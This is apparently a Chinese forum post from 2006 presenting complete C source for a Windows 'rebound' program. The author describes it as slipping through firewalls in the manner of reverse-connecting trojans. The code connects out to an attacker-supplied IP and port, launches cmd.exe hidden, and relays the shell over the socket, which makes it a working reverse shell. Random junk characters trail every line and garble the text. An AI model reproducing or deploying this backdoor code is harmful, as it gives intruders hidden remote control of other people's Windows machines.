这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z^i=51
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/* ============================== 1eC1Cyw
Rebound port in Windows NT MWv_BXQ
By wind,2006/7 I^iJ^Z]vx
===============================*/ ViV"+b#gu
#include uT8@p8
#include TrxZS_
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#pragma comment(lib,"wsock32.lib") oQgd]|v
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void OutputShell(); SFrQPdX6V
SOCKET sClient; bWzv7#dd=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FLI\SF<
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void main(int argc,char **argv) xaO9?{O
{ p F\~T>
WSADATA stWsaData; <vx/pH)f
int nRet; KlMrM% ;y
SOCKADDR_IN stSaiClient,stSaiServer; 8$O=HE*
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if(argc != 3) Jz D
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{ BKDs3?&
printf("Useage:\n\rRebound DestIP DestPort\n"); `IQ01FuP
return; SVsLu2tVY
} ;seD{y7!
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WSAStartup(MAKEWORD(2,2),&stWsaData); wjk-$p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h8;B +#f`
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stSaiClient.sin_family = AF_INET; h&eu}aF
stSaiClient.sin_port = htons(0); ~[|&)}q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \\F^uM7,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M<Mr
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{ ]H8CVue
printf("Bind Socket Failed!\n"); Le3H!9lbc
return; ,bT|:T@ny
} 7Q,9j.
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stSaiServer.sin_family = AF_INET; `>CHE'_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %bo0-lnp
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 32!jF}qpD
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R;,&s!\<
{ % 1Y!|306
printf("Connect Error!"); <p"[jC2zF;
return; }7iWm XlI
} l` 9<mL
OutputShell(); utIR\e#:B
} MhMY"bx8
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void OutputShell() A4RA5N/}
{ 61|uvTX
char szBuff[1024]; *0>![v
SECURITY_ATTRIBUTES stSecurityAttributes; m~;fklX S
OSVERSIONINFO stOsversionInfo; y]|Hrx
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~jdvxoX-
STARTUPINFO stStartupInfo; #/fh_S'Z
char *szShell; $hexJzX
PROCESS_INFORMATION stProcessInformation; oej5bAi
unsigned long lBytesRead; *`~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O;RsYs9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [RtTi<F^
stSecurityAttributes.lpSecurityDescriptor = 0; 1Rlg%G'
stSecurityAttributes.bInheritHandle = TRUE; GE;S5X]X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V+#Sb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f681i(q"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7!%/vO0m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C:S*juK
stStartupInfo.wShowWindow = SW_HIDE; f4A;v|5_
stStartupInfo.hStdInput = hReadPipe; ,(d\! T/]'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gDHgXDD_b
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GetVersionEx(&stOsversionInfo); uw'>tb@
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switch(stOsversionInfo.dwPlatformId) }yQ&[Mt
{ }xZR`xP(
case 1: SU,S1C_q8
szShell = "command.com"; YU=Q`y[k
break; P2HR4`c
default: iuxI$
szShell = "cmd.exe"; 0,1x-
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break; O~3<P3W
} OIi8x?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yV{&x
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send(sClient,szMsg,77,0); :bBLP7eyV
while(1) 6"3-8orj
{ m+66x {M2c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jb0wP01R
if(lBytesRead) hw2'.}B"(
{ WBb@\|V|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 91I6-7# Xt
send(sClient,szBuff,lBytesRead,0); ;Fo%R$y
} G6W_)YL
else \"]KF8c^_
{ b/#SkxW#S
lBytesRead=recv(sClient,szBuff,1024,0); /-J
if(lBytesRead<=0) break; #}M\ J0QG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); { XI 0KiE
} X`/GiYTu
} &Hz{
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return; 'SW%EVB
}